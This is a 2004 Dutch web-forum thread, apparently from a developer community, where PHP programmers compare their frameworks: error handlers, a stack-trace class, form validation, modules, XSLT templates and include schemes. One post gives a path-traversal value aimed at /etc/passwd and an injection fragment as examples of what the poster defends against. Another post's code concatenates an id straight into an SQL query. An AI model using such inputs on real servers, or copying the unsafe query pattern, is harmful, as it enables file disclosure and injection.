In principe registreer ik nu een enkele errorhandler, maar het framework kan er in principe meer dan een aan, aangezien bij een error alle geregistreerde errorhandlers aangeroepen worden. Zo is het dus mogelijk om bijvoorbeeld een errorhandler te maken die zeer kritische fouten per e-mail aan de beheerder meldt, en een andere die fouten aan de gebruiker meldt: kortom, netjes gescheiden.

Een toevoeging op het errorhandler verhaal is een stacktrace achtige klasse die ik een tijdje geleden schreef om te koppelen aan een 1500 regels tellende klasse (mijn 'grootste', en vind het eigenlijk al te veel: ik werk liever met simpele klassen die samen een complex probleem oplossen).
Deze stacktrace functie werkt als volgt:

PHP:

function func()
{
    stack::handle('naam_van_functie('.$param1.', '.$param2.')');

    // do stuff
    if(eenofander == error)
    {
        // stack::error() geeft net als stack::handle() tevens functie-einde aan
        stack::error(__LINE__, 'eenofander ging mis');
        return error;
    }

    stack::handle(); // zonder param, geeft functie-einde aan
}

PHP:

<?
    /**
    * RBAC/ACL Administration class
    *
    * @author       Bas Gooren
    * @version      1.0
    * @copyright    2004
    * @from         4
    */

    class stack {

        // settings
        var $error      = array();      // Contains errors
        var $_stack     = array();      // Function call stack
        var $_show_all  = false;
        
        function stack() {
        }

        function handle($name = null) {
            if($this->_show_all) {
                $cnt = count($this->_stack);
                if($name != null)   
                    echo str_repeat('&nbsp', $cnt*4).'Call&nbsp; function ['.$name.']<br>';
                else
                    echo str_repeat('&nbsp', ($cnt-1)*4).'Leave function ['.end($this->_stack).']<br>';
            }
            if($name == null)   array_pop($this->_stack);
            else                $this->_stack[] = $name;
        }

        function error($line, $msg) {
            $pos = count($this->_stack)-count($this->error)-1;
            $stack = $this->_stack[$pos];
            $this->error[] = array($stack, $msg, $line);    // Add error
            if($this->debug) echo $this->get_error();
        }

        function trace() {
            $err = array_reverse($this->error);
            $cnt = count($err);
            $top = current($err);
            $output = '<pre><b>an error occurred in function '.$top[0].':</b>'."\n".'> '.$top[1].' (Line '.$top[2].')</b>'."\n\n";
            for($i=0;$i<$cnt;$i++) {
                $pos = $i*2;
                $output.= sprintf('[%3d] ',$pos+1);
                $output.= str_repeat(' ',$i*2);
                $output.= "<b>".$err[$i][0]." (Line ".$err[$i][2].")</b>\n";
                $output.= sprintf('[%3d] ',$pos+2);
                $output.= str_repeat(' ',$i*2).'> '.$err[$i][1]."\n";               
            }
            $output .= '</pre>';
            return $output;
        }

        function clean() {
            $this->error = array();
        }
    }
?>

Op de plek in mijn code waar ik de error/exception niet verder 'af wil vangen', gooi ik vervolgens m.b.v. mijn framework iets als:

PHP:

CFW::raiseError('Er ging wat mis in func()<br>'.stack::trace(), FATAL);

En eindelijk heb ik net zoiets als java exceptions Ik zie nu exact wanneer, waar en waarom iets misgaat. Mijn stacktrace kan overigens op ieder 'niveau' (iedere functie die de error handled, en 'verder' gooit omhoog) ook een tekstbericht toevoegen, waardoor error-meldingen zeer informatief zijn.
Door dit exception systeem en mijn stack klasse had ik mijn ACL klasse, die behoorlijk complex is, binnen een dag bug-vrij. De bugs die erin zaten waren zeer snel boven water, omdat ik gemakkelijk kon zien wat waar misging. (De stacktrace geeft, als je in de call naar stack::handle() netjes de functienaam en binnengekregen vars meegeeft, ook netjes de input van alle functies mee).

[B-Man]

Oh, en nog zo'n probleem wat ik het afgelopen jaar eindelijk fatsoenlijk getackled heb: forms.
Ik wilde gemakkelijk initiele waarden voor form-fields opgeven, en fatsoenlijke validatie hebben, die ook nog eens NLS-based gestandaardiseerde foutmeldingen geeft.

Nu zeg ik ergens bovenaan in een logic-file die een CRUD/update form weergeeft, zoiets:

PHP:

if($mode == 'edit' && !Form::isPOST()) {

// Fetch the current data
$data = Db::fetchField('all', 'a', 'SELECT * FROM batches WHERE id='.$id);

$aid = $data['ownerID'];

Form::setInitialValues(array(
    'status'    => ($data['active'])?'gestart':'gestopt',
    'active'    => $data['active'],
    'description'   => $data['details'],
    'notify'    => $data['notify'],
    'modify'    => $data['modify'],
    'overwrite' => $data['overwrite'],
    'fields'    => $data['fields']
));

}

De form fields worden nu eenmalig geinitialiseerd (als er gePOST wordt, wordt de database dus niet geraadpleegd om de originele gegevens op te vragen).

Iets later zet ik zoiets:

PHP:

if(!Form::isPOST()) return;
// Return control to user, error(s) occurred
if(Form::errors()) return;

wat feitelijk de controle teruggeeft aan de display code, en enkel gebeurt als er niet gePOST is, of er wel gePOST is, maar er fouten waren.
De Form klasse kan gemakkelijk standaard controles uitvoeren:

PHP:

Form::validate(array(
    'description'   => 'req;string[minlen:5]',
    'o_name'    => 'req;string[minlen:5]',
    'o_address' => 'req;mail;mx'
));

en een script kan tevens wat custom controles uitvoeren:

PHP:

if(strpos($days_code, '1') === false)
    Form::errSet('days', 'u moet ten minste een dag selecteren');

Aangezien de logica altijd voor de display code wordt uitgevoerd, kun je alle kanten op. Als alles goed ging ga je met een simpele call naar framework::redirect('pagina.php') naar een andere pagina.

Ik zit er overigens ook over te denken om een controller te schrijven, die alle requests afvangt, en de display scripts ook uit de public dir te halen. De controller voert dan op basis van een XML file/database en de aangeroepen pagina een aantal ACL checks uit. Mogelijk dat ik nog iets ga maken a la 'chain of command', een beetje zoals Fusebox. Alleen dan beter (Alle opties als een 'switch()' statement in een enkele file zetten, pffff ).

Je/jullie hebben weer even genoeg stof tot nadenken?

[MisterData]

Ik heb tegenwoordig m'n eigen framework geschreven waarin dingen als database-toegang, sessies (en dan bijvoorbeeld ook dingen als preferences) geregeld zijn. Ook templates worden netjes afgehandeld via een class; ik gebruik hoofdzakelijk XSLT-templates waar mogelijk Ook mijn CMS (in wording) is gebaseerd op dit framework en heeft classes voor beveiligingsregels etc.

Met XSL is het makkelijk om onderdelen van een site te hergebruiken: ik zou bijvoorbeeld een template kunnen maken die met JS-validatie een veld maakt waar alleen geldige emailadressen in kunnen. Dat 'emailveld' kan ik vervolgens overal in m'n templates gebruiken, en dat scheelt echt enorm veel werk.

Het framework is overigens gebaseerd op 'modules': in 1 map (modules/) staan allemaal andere mappen, waarin modules zitten verstopt. Via een component-manager class kunnen die modules dan door andere modules worden aangeroepen. Iedere module stamt af van een bepaalde base-class en kent onder andere naast een Action-methode ook een Install/Remove-methode. In principe is het zo dus heel makkelijk om een onderdeel aan de site toe te voegen. Dingen als BB-parsers kun je gewoon updaten door de map te vervangen

[ Voor 29% gewijzigd door MisterData op 13-09-2004 09:33 ]

[pierre-oord]

Ik werkt heel anders met includes.

Ten eerste: Files opgeven in je index is niet handig. Voor iedere nieuwe page moet je dan steeds je index aanpassen, nee dat is niet handig.

Met pregmatch ofzo zorg ik dat speciale tekens geen kans krijgen.
Met addslashen zorg ik ervoor dat complete stukken php code niet erbij kunnen komen door bijvoorbeeld het stukje info'] ; doe_evil;
of iets in die richting.

Verder controleer ik dan ook nog of de bestanden wel bestaan op de juiste locatie.

Ik moet nog eens een mooie manier programmeren zodat ik ook ?page=info/subgroup/iets kan gebruiken om iets.php te includen. Nu zijn alle / tekens simpelweg niet toegestaan.

Dit omdat als ik in mijn source een path zet zoals:
include ('mainsitedirecotory/'.$page) iemand nog ver terug kan komen door $page te zetten naar bijvoorbeeld '../../../etc/passwd'

Bijvoorbeeld. Natuurlijk gebruik ik php_safe waardoor dit soort dingen al niet zouden moeten kunnen gebeuren (toch?)

edit:
Dit was als antwoord op een van de eerdere vragen in het 1e pageje van dit topic oeps

[ Voor 7% gewijzigd door pierre-oord op 13-09-2004 11:24 ]

[Genoil]

ik heb een vraag die hier veel mee te maken heeft, daarom maar in dit topic:

sinds ik in php5 zit te werken, zit ik imo een klein beetje met een luxe probleem, ik heb namelijk (naast alle andere methoden uiteraard) de keuze om zowel via DOM als via XSLT een XML file te bewerken. nu snap ik wel dat wanneer ik bijvoorbeeld een x-tal databaserecords in xml-formaat (data-centered XML) naar een HTML-pagina moet ombouwen, XSLT voor de hand ligt. Maar hoe zit nou wanneer ik een webpagina in XHTML (document-centered XML) op m'n filesystem heb, waar slechts op 1 plek een getalletje uit een database moet worden gezet? Dan doe ik dat liever ff via DOM, en jets ik het zaakje daarna door m'n standaard XSL sheet die niks anders doet dan een menuutje en een paginaatje aggregeren. Is dat een goede methode, of handelen jullie (=XSLT-users voor templates) dat soort dingen altijd via XSLT-Parameters af?

[Dutchmega]

MisterData schreef op 13 september 2004 @ 09:31:
Ik heb tegenwoordig m'n eigen framework geschreven waarin dingen als database-toegang, sessies (en dan bijvoorbeeld ook dingen als preferences) geregeld zijn. Ook templates worden netjes afgehandeld via een class; ik gebruik hoofdzakelijk XSLT-templates waar mogelijk Ook mijn CMS (in wording) is gebaseerd op dit framework en heeft classes voor beveiligingsregels etc.

Met XSL is het makkelijk om onderdelen van een site te hergebruiken: ik zou bijvoorbeeld een template kunnen maken die met JS-validatie een veld maakt waar alleen geldige emailadressen in kunnen. Dat 'emailveld' kan ik vervolgens overal in m'n templates gebruiken, en dat scheelt echt enorm veel werk.

Het framework is overigens gebaseerd op 'modules': in 1 map (modules/) staan allemaal andere mappen, waarin modules zitten verstopt. Via een component-manager class kunnen die modules dan door andere modules worden aangeroepen. Iedere module stamt af van een bepaalde base-class en kent onder andere naast een Action-methode ook een Install/Remove-methode. In principe is het zo dus heel makkelijk om een onderdeel aan de site toe te voegen. Dingen als BB-parsers kun je gewoon updaten door de map te vervangen

Ik ben wel geinteresseerd hoe je dit voor elkaar hebt gedaan.. IK ben momenteel bezig met een PHP5 core. Ik heb momenteel al een core (herschrijven geen probleem ) maar daar moet nog module/plugin support bij en ik weet nog steeds niet hoe ik dat moet aanpakken...

[-Lars-]

Ik zie dat veel lui gebruik maken van index.php?pagina=blaatpagina om vervolgens (denk ik) in de indexpagina de inhoud van blaatpagina te includen. Ik doe het juist andersom: je bezoekt blaatpagina.php, deze include dan footer.php en header.php. Wat beter is durf ik zo niet te zeggen, maar jullie (meer ervaren dan mij, weet ik wel zeker) zullen er vast wel een goede reden voor hebben. De vraag is: welke?

Persoonlijk vind ik de mijne mooier omdat de url (zonder variabelen) beter de lading dekt.

[snoopy]

Een variant hierop is natuurlijk weer gewoon het gebruikmaken van een auto_prepend file, dit kan je instellen in je .htaccess file (of httpd.conf) en hiermee wordt iedere request omgeleid via een filetje wat bijvoorbeeld settings instelt, of rechten controleert, kies maar uit.

Dit dus:

code:

; Automatically add files before or after any PHP document.
auto_prepend_file =
auto_append_file =

_{Bron: php.ini (php5)}

en dit wordt in je .htaccess dus dit:

.htaccess:

code:

php_value auto_prepend_file ".."
php_value auto_append_file ".."

[ Voor 36% gewijzigd door snoopy op 13-09-2004 19:56 ]